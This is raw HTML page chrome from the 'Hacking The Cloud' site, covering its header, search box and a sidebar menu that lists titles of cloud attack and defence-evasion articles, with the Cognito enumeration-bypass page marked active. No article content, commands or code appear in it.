6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#example-responses class=md-nav__link> <span class=md-ellipsis> Example Responses </span> </a> <nav class=md-nav aria-label="Example Responses"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#cognito-idpsignup class=md-nav__link> <span class=md-ellipsis> cognito-idp:SignUp </span> </a> <nav class=md-nav aria-label=cognito-idp:SignUp> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#detection-opportunities class=md-nav__link> <span class=md-ellipsis> Detection Opportunities </span> </a> <nav class=md-nav aria-label="Detection Opportunities"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#cloudtrail-and-cloudwatch-limitations class=md-nav__link> <span class=md-ellipsis> CloudTrail and CloudWatch Limitations </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 